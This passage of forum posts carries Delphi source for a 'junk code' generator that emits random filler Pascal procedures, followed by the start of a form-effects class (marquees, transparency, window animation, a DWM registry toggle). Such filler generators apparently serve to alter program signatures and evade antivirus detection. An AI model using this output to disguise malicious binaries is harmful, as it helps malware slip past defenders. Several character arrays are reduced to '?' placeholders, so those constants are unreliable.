  46. {$R *.dfm}
  47. // Functions
  48.  
  49. function dh_generate_string(option: string; length_string: integer): string;
  50. const
  51.   letters1: array [1 .. 26] of string = ('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
  52.     'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
  53.     'x', 'y', 'z');
  54. const
  55.   letters2: array [1 .. 26] of string = ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
  56.     'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
  57.     'X', 'Y', 'Z');
  58. const
  59.   numbers: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5', '6', '7',
  60.     '8', '9');
  61.  
  62. const
  63.   cyrillic: array [1 .. 44] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
  64.     '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
  65.     '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
  66.     '?', '?', '?', '?', '?', '?');
  67.  
  68. const
  69.   no_idea1: array [1 .. 13] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
  70.     '?', '?', '?', '?', '?');
  71.  
  72. const
  73.   no_idea2: array [1 .. 28] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
  74.     '?', '?', '?', '?', '?', '?', '?', '?', '??', '?', '?', '?', '?', '?', '?',
  75.     '?', '?', '?', '?', '??');
  76.  
  77. const
  78.   no_idea3: array [1 .. 13] of string = ('??', '?', '?', '?', '?', '?', '?',
  79.     '_', '?', '`', '?', '_', '?');
  80.  
  81. const
  82.   no_idea4: array [1 .. 26] of string = ('?', '?', '€', '?', 'l', '?', '™', 'O',
  83.     'e', '?', '?', '?', '?', '?', '?', '?', '?', '-', '/', '·', 'v', '8', '?',
  84.     '˜', '?', '=');
  85.  
  86. const
  87.   no_idea5: array [1 .. 33] of string = ('?', '?', '?', '?', 'n', '?', '?', '?',
  88.     '?', '?', '?', 'G', '?', '?', '?', 'e', 'ß', '?', '?', '?', '?', '?', '?',
  89.     '?', '?', '?', '?', '?', '?', '?', '8', 'S', '?');
  90.  
  91. const
  92.   no_idea6: array [1 .. 32] of string = ('?', '?', '?', '?', '?', '?', '?', '?',
  93.     '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?',
  94.     '?', '?', '?', '?', '?', '?', '?', '?', '?');
  95. var
  96.   code: string;
  97.   gen_now: string;
  98.   i: integer;
  99.   index: integer;
  100. begin
  101.  
  102.   gen_now := '';
  103.  
  104.   for i := 1 to length_string do
  105.   begin
  106.     if (option = '1') then
  107.     begin
  108.       gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
  109.     end
  110.     else if (option = '2') then
  111.     begin
  112.       gen_now := gen_now + letters2[RandomRange(1, Length(letters2) + 1)];
  113.     end
  114.     else if (option = '3') then
  115.     begin
  116.       gen_now := gen_now + numbers[RandomRange(1, Length(numbers) + 1)];
  117.     end
  118.     else if (option = '4') then
  119.     begin
  120.       gen_now := gen_now + cyrillic[RandomRange(1, Length(cyrillic) + 1)];
  121.     end
  122.     else if (option = '5') then
  123.     begin
  124.       gen_now := gen_now + no_idea1[RandomRange(1, Length(no_idea1) + 1)];
  125.     end
  126.     else if (option = '6') then
  127.     begin
  128.       gen_now := gen_now + no_idea2[RandomRange(1, Length(no_idea2) + 1)];
  129.     end
  130.     else if (option = '7') then
  131.     begin
  132.       gen_now := gen_now + no_idea3[RandomRange(1, Length(no_idea3) + 1)];
  133.     end
  134.     else if (option = '8') then
  135.     begin
  136.       gen_now := gen_now + no_idea4[RandomRange(1, Length(no_idea4) + 1)];
  137.     end
  138.     else if (option = '9') then
  139.     begin
  140.       gen_now := gen_now + no_idea5[RandomRange(1, Length(no_idea5) + 1)];
  141.     end
  142.     else if (option = '10') then
  143.     begin
  144.       gen_now := gen_now + no_idea6[RandomRange(1, Length(no_idea6) + 1)];
  145.     end
  146.     else
  147.     begin
  148.       gen_now := gen_now + letters1[RandomRange(1, Length(letters1) + 1)];
  149.     end;
  150.   end;
  151.   code := gen_now;
  152.  
  153.   Result := code;
  154. end;
  155.  
  156. function message_box(title, message_text, type_message: string): string;
  157. begin
  158.   if not(title = '') and not(message_text = '') and not(type_message = '') then
  159.   begin
  160.     try
  161.       begin
  162.         if (type_message = 'Information') then
  163.         begin
  164.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  165.             MB_ICONINFORMATION);
  166.         end
  167.         else if (type_message = 'Warning') then
  168.         begin
  169.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  170.             MB_ICONWARNING);
  171.         end
  172.         else if (type_message = 'Question') then
  173.         begin
  174.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  175.             MB_ICONQUESTION);
  176.         end
  177.         else if (type_message = 'Error') then
  178.         begin
  179.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  180.             MB_ICONERROR);
  181.         end
  182.         else
  183.         begin
  184.           MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
  185.             MB_ICONINFORMATION);
  186.         end;
  187.         Result := '[+] MessageBox : OK';
  188.       end;
  189.     except
  190.       begin
  191.         Result := '[-] Error';
  192.       end;
  193.     end;
  194.   end
  195.   else
  196.   begin
  197.     Result := '[-] Error';
  198.   end;
  199. end;
  200.  
  201. //
  202.  
  203. procedure TFormHome.btnGenerateClick(Sender: TObject);
  204. var
  205.   id: string;
  206.   i, y: integer;
  207.   vars, vars2, name, name2, value, value2: string;
  208.   strings, strings2: string;
  209.   functions, code: string;
  210.   limit_random: integer;
  211. begin
  212.  
  213.   if (StrToInt(txtLength.Text) > 0) then
  214.   begin
  215.  
  216.     if (cmbOptions.ItemIndex = 0) then
  217.     begin
  218.       for i := 1 to StrToInt(txtLength.Text) do
  219.       begin
  220.         name := dh_generate_string('1', 5);
  221.         value := dh_generate_string('1', 20);
  222.         mmOutput.Lines.Add('const ' + name + '=' + '''' + value + '''' + ';');
  223.       end;
  224.       mmOutput.Lines.Add('');
  225.     end
  226.     else if (cmbOptions.ItemIndex = 1) then
  227.     begin
  228.  
  229.       vars := 'var ';
  230.       strings := '';
  231.  
  232.       for i := 1 to StrToInt(txtLength.Text) do
  233.       begin
  234.         name := dh_generate_string('1', 5);
  235.         value := dh_generate_string('1', 20);
  236.         if (i = StrToInt(txtLength.Text)) then
  237.         begin
  238.           vars := vars + name + ':string;';
  239.         end
  240.         else
  241.         begin
  242.           vars := vars + name + ',';
  243.         end;
  244.         if (i = StrToInt(txtLength.Text)) then
  245.         begin
  246.           strings := strings + name + ':=' + '''' + value + '''' + ';';
  247.         end
  248.         else
  249.         begin
  250.           strings := strings + name + ':=' + '''' + value + '''' + ';' +
  251.             sLineBreak;
  252.         end;
  253.       end;
  254.  
  255.       id := dh_generate_string('1', 5);
  256.  
  257.       code := 'procedure gen_vars_' + id + ';' + sLineBreak + vars + sLineBreak
  258.         + 'begin' + sLineBreak + strings + sLineBreak + 'end;';
  259.  
  260.       mmOutput.Lines.Add(code);
  261.       mmOutput.Lines.Add('');
  262.  
  263.     end
  264.     else if (cmbOptions.ItemIndex = 2) then
  265.     begin
  266.       vars := 'var i,y:integer;';
  267.       strings := '';
  268.       for i := 1 to StrToInt(txtLength.Text) do
  269.       begin
  270.         value := dh_generate_string('3', 2);
  271.  
  272.         if (i = StrToInt(txtLength.Text)) then
  273.         begin
  274.           strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' + sLineBreak +
  275.             sLineBreak;
  276.           strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
  277.             'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;';
  278.         end
  279.         else
  280.         begin
  281.           strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' + sLineBreak +
  282.             sLineBreak;
  283.           strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
  284.             'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' + sLineBreak
  285.             + sLineBreak;
  286.         end;
  287.       end;
  288.  
  289.       id := dh_generate_string('1', 5);
  290.  
  291.       code := 'procedure gen_fors_' + id + ';' + sLineBreak + vars + sLineBreak
  292.         + 'begin' + sLineBreak + strings + sLineBreak + 'end;';
  293.  
  294.       mmOutput.Lines.Add(code);
  295.       mmOutput.Lines.Add('');
  296.  
  297.     end
  298.     else if (cmbOptions.ItemIndex = 3) then
  299.     begin
  300.       code := '';
  301.       functions := '';
  302.  
  303.       for i := 1 to StrToInt(txtLength.Text) do
  304.       begin
  305.         vars := 'var ';
  306.         strings := '';
  307.         limit_random := StrToInt(dh_generate_string('3', 1));
  308.         if (limit_random = 0) then
  309.         begin
  310.           limit_random := 5;
  311.         end;
  312.         for y := 1 to limit_random do
  313.         begin
  314.           name := dh_generate_string('1', 5);
  315.           value := dh_generate_string('1', 20);
  316.           if (y = limit_random) then
  317.           begin
  318.             vars := vars + name + ':string;';
  319.           end
  320.           else
  321.           begin
  322.             vars := vars + name + ',';
  323.           end;
  324.           if (y = limit_random) then
  325.           begin
  326.             strings := strings + name + ':=' + '''' + value + '''' + ';';
  327.           end
  328.           else
  329.           begin
  330.             strings := strings + name + ':=' + '''' + value + '''' + ';' +
  331.               sLineBreak;
  332.           end;
  333.         end;
  334.  
  335.         id := dh_generate_string('1', 5);
  336.  
  337.         if (i = StrToInt(txtLength.Text)) then
  338.         begin
  339.           functions := 'function gen_vars_' + id + '():string;' + sLineBreak +
  340.             vars + sLineBreak + 'begin' + sLineBreak + strings + sLineBreak +
  341.             'Result :=' + '''' + id + '''' + ';' + sLineBreak + 'end;' +
  342.             sLineBreak;
  343.         end
  344.         else
  345.         begin
  346.           functions := 'function gen_vars_' + id + '():string;' + sLineBreak +
  347.             vars + sLineBreak + 'begin' + sLineBreak + strings + sLineBreak +
  348.             'Result :=' + '''' + id + '''' + ';' + sLineBreak + 'end;' +
  349.             sLineBreak + sLineBreak;
  350.         end;
  351.  
  352.         code := code + functions;
  353.  
  354.       end;
  355.  
  356.       mmOutput.Lines.Add(code);
  357.       // mmOutput.Lines.Add('');
  358.     end
  359.     else if (cmbOptions.ItemIndex = 4) then
  360.     begin
  361.  
  362.       code := '';
  363.  
  364.       for i := 1 to StrToInt(txtLength.Text) do
  365.       begin
  366.  
  367.         vars := 'var i,y:integer;';
  368.         strings := '';
  369.         limit_random := StrToInt(dh_generate_string('3', 1));
  370.  
  371.         if (limit_random = 0) then
  372.         begin
  373.           limit_random := 5;
  374.         end;
  375.         for y := 1 to limit_random do
  376.         begin
  377.           value := dh_generate_string('3', 2);
  378.  
  379.           if (i = limit_random) then
  380.           begin
  381.             strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' +
  382.               sLineBreak;
  383.             strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
  384.               'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' +
  385.               sLineBreak;
  386.           end
  387.           else
  388.           begin
  389.             strings := strings + 'i := 0;' + sLineBreak + 'y := 0;' +
  390.               sLineBreak;
  391.             strings := strings + 'for i := 0 to ' + value + ' do' + sLineBreak +
  392.               'begin' + sLineBreak + 'inc(y);' + sLineBreak + 'end;' +
  393.               sLineBreak;
  394.           end;
  395.         end;
  396.  
  397.         id := dh_generate_string('3', 5);
  398.  
  399.         if (i = StrToInt(txtLength.Text)) then
  400.         begin
  401.           functions := 'function gen_fors_' + id + '():integer();' + sLineBreak
  402.             + vars + sLineBreak + 'begin' + sLineBreak + strings + 'Result :=' +
  403.             id + ';' + sLineBreak + 'end;' + sLineBreak;
  404.         end
  405.         else
  406.         begin
  407.           functions := 'function gen_fors_' + id + '():integer();' + sLineBreak
  408.             + vars + sLineBreak + 'begin' + sLineBreak + strings + 'Result :=' +
  409.             id + ';' + sLineBreak + 'end;' + sLineBreak + sLineBreak;
  410.         end;
  411.  
  412.         code := code + functions;
  413.  
  414.       end;
  415.  
  416.       mmOutput.Lines.Add(code);
  417.       // mmOutput.Lines.Add('');
  418.  
  419.     end
  420.     else if (cmbOptions.ItemIndex = 5) then
  421.     begin
  422.  
  423.       code := '';
  424.       functions := '';
  425.  
  426.       for i := 1 to StrToInt(txtLength.Text) do
  427.       begin
  428.  
  429.         vars := 'var ';
  430.         strings := '';
  431.         vars2 := 'var ';
  432.         strings2 := '';
  433.  
  434.         limit_random := StrToInt(dh_generate_string('3', 1));
  435.  
  436.         if (limit_random = 0) then
  437.         begin
  438.           limit_random := 5;
  439.         end;
  440.         for y := 1 to limit_random do
  441.         begin
  442.           name := dh_generate_string('1', 20);
  443.           name2 := dh_generate_string('1', 20);
  444.           value := dh_generate_string('1', 20);
  445.           value2 := dh_generate_string('3', 2);
  446.  
  447.           if (y = limit_random) then
  448.           begin
  449.             vars := vars + name + ':string;';
  450.           end
  451.           else
  452.           begin
  453.             vars := vars + name + ',';
  454.           end;
  455.  
  456.           if (y = limit_random) then
  457.           begin
  458.             strings := strings + name + ':=' + '''' + value + '''' + ';';
  459.           end
  460.           else
  461.           begin
  462.             strings := strings + name + ':=' + '''' + value + '''' + ';' +
  463.               sLineBreak;
  464.           end;
  465.  
  466.           vars2 := 'var i,y:integer;';
  467.  
  468.           if (y = limit_random) then
  469.           begin
  470.             strings2 := strings2 + 'i := 0;' + sLineBreak + 'y := 0;' +
  471.               sLineBreak;
  472.             strings2 := strings2 + 'for i := 0 to ' + value2 + ' do' +
  473.               sLineBreak + 'begin' + sLineBreak + 'inc(y);' + sLineBreak +
  474.               'end;' + sLineBreak;
  475.           end
  476.           else
  477.           begin
  478.             strings2 := strings2 + 'i := 0;' + sLineBreak + 'y := 0;' +
  479.               sLineBreak;
  480.             strings2 := strings2 + 'for i := 0 to ' + value2 + ' do' +
  481.               sLineBreak + 'begin' + sLineBreak + 'inc(y);' + sLineBreak +
  482.               'end;' + sLineBreak;
  483.           end;
  484.         end;
  485.  
  486.         id := dh_generate_string('1', 5);
  487.  
  488.         if (i = StrToInt(txtLength.Text)) then
  489.         begin
  490.           functions := 'function gen_functions_' + id + '():string;' +
  491.             sLineBreak + vars + sLineBreak + vars2 + sLineBreak + 'begin' +
  492.             sLineBreak + strings + sLineBreak + strings2 + 'Result :=' + '''' +
  493.             id + '''' + ';' + sLineBreak + 'end;' + sLineBreak;
  494.         end
  495.         else
  496.         begin
  497.           functions := 'function gen_functions_' + id + '():string;' +
  498.             sLineBreak + vars + sLineBreak + vars2 + sLineBreak + 'begin' +
  499.             sLineBreak + strings + sLineBreak + strings2 + 'Result :=' + '''' +
  500.             id + '''' + ';' + sLineBreak + 'end;' + sLineBreak + sLineBreak;
  501.         end;
  502.  
  503.         code := code + functions;
  504.       end;
  505.  
  506.       mmOutput.Lines.Add(code);
  507.  
  508.     end;
  509.  
  510.     message_box('DH Junk Code Maker 0.4', 'Enjoy the junk source',
  511.       'Information');
  512.   end
  513.   else
  514.   begin
  515.     message_box('DH Junk Code Maker 0.4',
  516.       'The length should be greater than zero', 'Warning');
  517.   end;
  518. end;
  519.  
  520. procedure TFormHome.clearClick(Sender: TObject);
  521. begin
  522.   mmOutput.clear;
  523.   message_box('DH Junk Code Maker 0.4', 'Output cleaned', 'Information');
  524. end;
  525.  
  526. procedure TFormHome.copyClick(Sender: TObject);
  527. begin
  528.   mmOutput.SelectAll;
  529.   mmOutput.CopyToClipboard;
  530.   message_box('DH Junk Code Maker 0.4', 'Output copied to the clipboard',
  531.     'Information');
  532. end;
  533.  
  534. end.
  535.  
  536. // The End ?
  537.  

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
26  Programación / Programación General / [Delphi] DH Form Effects 0.3 en: 25 Junio 2016, 02:44 am
Una clase en Delphi para darle efectos a los formularios.

Tiene las siguientes opciones :

  • Animacion marquesina en los labels de izquierda a derecha y viceversa
  • Animacion marquesina en los labels de arriba hacia abajo y viceversa
  • Volver transparentes los formularios
  • Volver transparente la consola del programa
  • Varios efectos en la ventana de los formularios

El codigo :

Código
  1. // Unit : DH Form Effects
  2. // Version : 0.3
  3. // (C) Doddy Hackman 2016
  4.  
  5. unit DH_Form_Effects;
  6.  
  7. interface
  8.  
  9. uses Windows, SysUtils, Vcl.Forms, Vcl.StdCtrls, Vcl.ExtCtrls, Registry;
  10.  
  11. type
  12.   T_DH_Form_Effects = class
  13.   private
  14.  
  15.   public
  16.     constructor Create;
  17.     destructor Destroy; override;
  18.     procedure Effect_Marquee_Label_DownUp(Panel1: TPanel; Label1: TLabel;
  19.       segundos: integer);
  20.     procedure Effect_Marquee_Label_LeftRight(Label2: TLabel; opcion: string;
  21.       segundos: integer);
  22.     procedure Effect_Marquee_Form_Caption_LeftRight(Form1: TForm;
  23.       opcion: string; segundos: integer);
  24.     function Window_Effect(Form: HWND; opcion: string;
  25.       velocidad: integer): bool;
  26.     function Window_Transparent(Form: TForm; level: integer): bool;
  27.     procedure Effect_Load_Another_Form(Form1_Load: TForm; Form2_Load: TForm;
  28.       option: string; autosize: integer; space: integer; seconds: integer);
  29.     function desktop_composition_control(option: string): bool;
  30.     function Effect_Glass_in_Console(): bool;
  31.   end;
  32.  
  33. type
  34.   TTimerEffect_Marquee_Label_DownUp = Class(TTimer)
  35.   public
  36.     procedure OnWork(Sender: TObject);
  37.   end;
  38.  
  39.   TTimerEffect_Marquee_Label_LeftRight = Class(TTimer)
  40.   public
  41.     procedure OnWork(Sender: TObject);
  42.   end;
  43.  
  44.   TTimerEffect_Marquee_Form_Caption_LeftRight = Class(TTimer)
  45.   public
  46.     procedure OnWork(Sender: TObject);
  47.   end;
  48.  
  49. var
  50.   Timer_Effect_Marquee_Label_DownUp: TTimerEffect_Marquee_Label_DownUp;
  51.   PanelToMove1: TPanel;
  52.   LabelToMove1: TLabel;
  53.  
  54. var
  55.   TimerEffect_Marquee_Label_LeftRight: TTimerEffect_Marquee_Label_LeftRight;
  56.   LabelToMove2: TLabel;
  57.   Option_Marquee_Label_LeftRight: string;
  58.  
  59. var
  60.   TimerEffect_Marquee_Form_Caption_LeftRight
  61.     : TTimerEffect_Marquee_Form_Caption_LeftRight;
  62.   FormCaptionToMove: TForm;
  63.   Option_Marquee_Form_Caption_LeftRight: string;
  64.  
  65. implementation
  66.  
  67. constructor T_DH_Form_Effects.Create;
  68. begin
  69.   inherited Create;
  70.   //
  71. end;
  72.  
  73. destructor T_DH_Form_Effects.Destroy;
  74. begin
  75.   inherited Destroy;
  76. end;
  77.  
  78. // Timers
  79.  
  80. procedure TTimerEffect_Marquee_Label_DownUp.OnWork(Sender: TObject);
  81. begin
  82.   LabelToMove1.Top := LabelToMove1.Top - 10;
  83.   if LabelToMove1.Top + LabelToMove1.Height < 0 then
  84.   begin
  85.     LabelToMove1.Top := PanelToMove1.Height;
  86.   end;
  87. end;
  88.  
  89. procedure TTimerEffect_Marquee_Form_Caption_LeftRight.OnWork(Sender: TObject);
  90. var
  91.   code: string;
  92.   opcion: string;
  93. begin
  94.   code := FormCaptionToMove.Caption;
  95.   opcion := Option_Marquee_Form_Caption_LeftRight;
  96.   if opcion = 'left' then
  97.   begin
  98.     FormCaptionToMove.Caption := Copy(code, 2, Length(code) - 1) +
  99.       Copy(code, 1, 1);
  100.   end
  101.   else if (opcion = 'right') then
  102.   begin
  103.     FormCaptionToMove.Caption := Copy(code, Length(code) - 1, 1) +
  104.       Copy(code, 1, Length(code) - 1);
  105.   end
  106.   else
  107.   begin
  108.     FormCaptionToMove.Caption := Copy(code, 2, Length(code) - 1) +
  109.       Copy(code, 1, 1);
  110.   end;
  111. end;
  112.  
  113. procedure TTimerEffect_Marquee_Label_LeftRight.OnWork(Sender: TObject);
  114. // Based on : http://delphi.about.com/od/vclusing/a/marquee.htm
  115. // Thanks to Zarko Gajic
  116. var
  117.   code: string;
  118.   opcion: string;
  119. begin
  120.   code := LabelToMove2.Caption;
  121.   opcion := Option_Marquee_Label_LeftRight;
  122.   if opcion = 'left' then
  123.   begin
  124.     LabelToMove2.Caption := Copy(code, 2, Length(code) - 1) + Copy(code, 1, 1);
  125.   end
  126.   else if (opcion = 'right') then
  127.   begin
  128.     LabelToMove2.Caption := Copy(code, Length(code) - 1, 1) +
  129.       Copy(code, 1, Length(code) - 1);
  130.   end
  131.   else
  132.   begin
  133.     LabelToMove2.Caption := Copy(code, 2, Length(code) - 1) + Copy(code, 1, 1);
  134.   end;
  135. end;
  136.  
  137. //
  138.  
  139. // Functions
  140.  
  141. procedure T_DH_Form_Effects.Effect_Load_Another_Form(Form1_Load: TForm;
  142.   Form2_Load: TForm; option: string; autosize: integer; space: integer;
  143.   seconds: integer);
  144. var
  145.   width: integer;
  146.   Height: integer;
  147.   i: integer;
  148. begin
  149.  
  150.   if (autosize = 1) then
  151.   begin
  152.     width := Form2_Load.width;
  153.     Height := Form1_Load.Height;
  154.   end
  155.   else
  156.   begin
  157.     width := Form2_Load.width;
  158.     Height := Form2_Load.Height;
  159.   end;
  160.  
  161.   if (option = 'effect1') then
  162.   begin
  163.     Form2_Load.width := 1;
  164.     Form2_Load.Height := Form1_Load.Height;
  165.     Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
  166.     Form2_Load.Top := Form1_Load.Top;
  167.     Form2_Load.Show;
  168.     for i := 1 to width do
  169.     begin
  170.       if (Form2_Load.width = width) then
  171.       begin
  172.         break;
  173.       end
  174.       else
  175.       begin
  176.         Form2_Load.width := i + seconds;
  177.         Form2_Load.Update;
  178.       end;
  179.     end;
  180.   end
  181.   else if (option = 'effect2') then
  182.   begin
  183.     Form2_Load.Hide;
  184.     Form2_Load.Height := Height;
  185.     Form2_Load.Left := Form1_Load.Left + width;
  186.     Form2_Load.Top := Form1_Load.Top;
  187.     Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
  188.     Window_Effect(Form2_Load.Handle, 'effect1', seconds);
  189.     Form2_Load.Show;
  190.   end
  191.   else
  192.   begin
  193.     Form2_Load.width := 1;
  194.     Form2_Load.Height := Form1_Load.Height;
  195.     Form2_Load.Left := space + Form1_Load.Left + Form1_Load.width;
  196.     Form2_Load.Top := Form1_Load.Top;
  197.     Form2_Load.Show;
  198.     for i := 1 to width do
  199.     begin
  200.       if (Form2_Load.width = width) then
  201.       begin
  202.         break;
  203.       end
  204.       else
  205.       begin
  206.         Form2_Load.width := i + seconds;
  207.         Form2_Load.Update;
  208.       end;
  209.     end;
  210.   end;
  211. end;
  212.  
  213. procedure T_DH_Form_Effects.Effect_Marquee_Label_DownUp(Panel1: TPanel;
  214.   Label1: TLabel; segundos: integer);
  215. begin
  216.  
  217.   // To hide panel : BevelOuter = bvNone
  218.  
  219.   PanelToMove1 := Panel1;
  220.   LabelToMove1 := Label1;
  221.   Timer_Effect_Marquee_Label_DownUp :=
  222.     TTimerEffect_Marquee_Label_DownUp.Create(nil);
  223.   Timer_Effect_Marquee_Label_DownUp.Interval := segundos * 1000;
  224.   Timer_Effect_Marquee_Label_DownUp.OnTimer :=
  225.     Timer_Effect_Marquee_Label_DownUp.OnWork;
  226.   Timer_Effect_Marquee_Label_DownUp.Enabled := True;
  227. end;
  228.  
  229. procedure T_DH_Form_Effects.Effect_Marquee_Form_Caption_LeftRight(Form1: TForm;
  230.   opcion: string; segundos: integer);
  231. begin
  232.   if (opcion = 'left') then
  233.   begin
  234.     FormCaptionToMove := Form1;
  235.     FormCaptionToMove.Caption := FormCaptionToMove.Caption + ' ';
  236.   end
  237.   else if (opcion = 'right') then
  238.   begin
  239.     FormCaptionToMove := Form1;
  240.     FormCaptionToMove.Caption := FormCaptionToMove.Caption + '  ';
  241.   end
  242.   else
  243.   begin
  244.     FormCaptionToMove := Form1;
  245.     FormCaptionToMove.Caption := FormCaptionToMove.Caption + ' ';
  246.   end;
  247.  
  248.   Option_Marquee_Form_Caption_LeftRight := opcion;
  249.   TimerEffect_Marquee_Form_Caption_LeftRight :=
  250.     TTimerEffect_Marquee_Form_Caption_LeftRight.Create(nil);
  251.   TimerEffect_Marquee_Form_Caption_LeftRight.Interval := segundos * 1000;
  252.   TimerEffect_Marquee_Form_Caption_LeftRight.OnTimer :=
  253.     TimerEffect_Marquee_Form_Caption_LeftRight.OnWork;
  254.   TimerEffect_Marquee_Form_Caption_LeftRight.Enabled := True;
  255. end;
  256.  
  257. procedure T_DH_Form_Effects.Effect_Marquee_Label_LeftRight(Label2: TLabel;
  258.   opcion: string; segundos: integer);
  259. begin
  260.   if (opcion = 'left') then
  261.   begin
  262.     LabelToMove2 := Label2;
  263.     LabelToMove2.Caption := LabelToMove2.Caption + ' ';
  264.   end
  265.   else if (opcion = 'right') then
  266.   begin
  267.     LabelToMove2 := Label2;
  268.     LabelToMove2.Caption := LabelToMove2.Caption + '  ';
  269.   end
  270.   else
  271.   begin
  272.     LabelToMove2 := Label2;
  273.     LabelToMove2.Caption := LabelToMove2.Caption + ' ';
  274.   end;
  275.   Option_Marquee_Label_LeftRight := opcion;
  276.   TimerEffect_Marquee_Label_LeftRight :=
  277.     TTimerEffect_Marquee_Label_LeftRight.Create(nil);
  278.   TimerEffect_Marquee_Label_LeftRight.Interval := segundos * 1000;
  279.   TimerEffect_Marquee_Label_LeftRight.OnTimer :=
  280.     TimerEffect_Marquee_Label_LeftRight.OnWork;
  281.   TimerEffect_Marquee_Label_LeftRight.Enabled := True;
  282. end;
  283.  
  284. function T_DH_Form_Effects.Window_Effect(Form: HWND; opcion: string;
  285.   velocidad: integer): bool;
  286. begin
  287.   try
  288.     begin
  289.       if (opcion = 'slide') then
  290.       begin
  291.         AnimateWindow(Form, velocidad, AW_SLIDE);
  292.       end
  293.       else if (opcion = 'blend') then
  294.       begin
  295.         AnimateWindow(Form, velocidad, AW_BLEND);
  296.       end
  297.       else if (opcion = 'hide') then
  298.       begin
  299.         AnimateWindow(Form, velocidad, AW_HIDE);
  300.       end
  301.       else if (opcion = 'center') then
  302.       begin
  303.         AnimateWindow(Form, velocidad, AW_CENTER);
  304.       end
  305.       else if (opcion = 'effect1') then
  306.       begin
  307.         AnimateWindow(Form, velocidad, AW_HOR_POSITIVE);
  308.       end
  309.       else if (opcion = 'effect2') then
  310.       begin
  311.         AnimateWindow(Form, velocidad, AW_HOR_NEGATIVE);
  312.       end
  313.       else if (opcion = 'effect3') then
  314.       begin
  315.         AnimateWindow(Form, velocidad, AW_VER_POSITIVE);
  316.       end
  317.       else if (opcion = 'effect4') then
  318.       begin
  319.         AnimateWindow(Form, velocidad, AW_VER_NEGATIVE);
  320.       end
  321.       else
  322.       begin
  323.         Result := False;
  324.       end;
  325.       Result := True;
  326.     end;
  327.   except
  328.     begin
  329.       Result := False;
  330.     end;
  331.   end;
  332. end;
  333.  
  334. function T_DH_Form_Effects.Window_Transparent(Form: TForm;
  335.   level: integer): bool;
  336. begin
  337.  
  338.   // Effect in Desktop Dark
  339.   // Level : 240
  340.   // Level : 235
  341.   // Level : 230
  342.  
  343.   // Effect in Desktop White
  344.   // Level : 220
  345.  
  346.   try
  347.     begin
  348.       Form.AlphaBlend := True;
  349.       Form.AlphaBlendValue := level;
  350.       Form.Visible := True;
  351.       Result := True;
  352.     end;
  353.   except
  354.     begin
  355.       Result := False;
  356.     end;
  357.   end;
  358. end;
  359.  
  360. function T_DH_Form_Effects.desktop_composition_control(option: string): bool;
  361. var
  362.   Registry: TRegistry;
  363. begin
  364.   if not(option = '') then
  365.   begin
  366.     try
  367.       begin
  368.         Registry := TRegistry.Create;
  369.         Registry.RootKey := HKEY_CURRENT_USER;
  370.         Registry.OpenKey('Software\Microsoft\Windows\DWM', True);
  371.         if (option = 'on') then
  372.         begin
  373.           Registry.WriteString('CompositionPolicy', '0');
  374.         end;
  375.         if (option = 'off') then
  376.         begin
  377.           Registry.WriteString('CompositionPolicy', '1');
  378.         end;
  379.         Registry.Free;
  380.         Result := True;
  381.       end;
  382.     except
  383.       begin
  384.         Result := False;
  385.       end;
  386.     end;
  387.   end
  388.   else
  389.   begin
  390.     Result := False;
  391.   end;
  392. end;
  393.  
  394. // Function for Effect Glass in Console
  395. // Credits : Based on http://www.delphibasics.info/home/delphibasicssnippets/glasseffectinadelphiconsoleapplication
  396. // Thanks to Rodrigo Ruz
  397. // Note : You need enable desktop composition to use this function , else use the function
  398. // desktop_composition_control() to enable
  399.  
  400. type
  401.   DWM_BLURBEHIND = record
  402.     controls: DWORD;
  403.     check: bool;
  404.     color_now: HRGN;
  405.     max_now: bool;
  406.   end;
  407.  
  408. procedure DwmEnableBlurBehindWindow(HWND: HWND;
  409.   const pBlurBehind: DWM_BLURBEHIND); safecall;
  410.   external 'dwmapi.dll' name 'DwmEnableBlurBehindWindow';
  411. function GetConsoleWindow: HWND; stdcall;
  412.   external kernel32 name 'GetConsoleWindow';
  413.  
  414. function check_console: Boolean;
  415. var
  416.   Handle: THandle;
  417. begin
  418.   Handle := GetStdHandle(Std_Output_Handle);
  419.   Win32Check(Handle <> Invalid_Handle_Value);
  420.   if (Handle <> 0) then
  421.   begin
  422.     Result := True;
  423.   end
  424.   else
  425.   begin
  426.     Result := False;
  427.   end;
  428. end;
  429.  
  430. procedure Effect_Glass(Handle: HWND; active: Boolean; rgn: HRGN = 0;
  431.   max: Boolean = False; control: Cardinal = 1);
  432. var
  433.   effect: DWM_BLURBEHIND;
  434. begin
  435.   effect.controls := control;
  436.   effect.check := active;
  437.   effect.color_now := rgn;
  438.   effect.max_now := max;
  439.  
  440.   DwmEnableBlurBehindWindow(Handle, effect);
  441. end;
  442.  
  443. function T_DH_Form_Effects.Effect_Glass_in_Console(): bool;
  444. begin
  445.   if (check_console) then
  446.   begin
  447.     try
  448.       begin
  449.         Effect_Glass(GetConsoleWindow(), True);
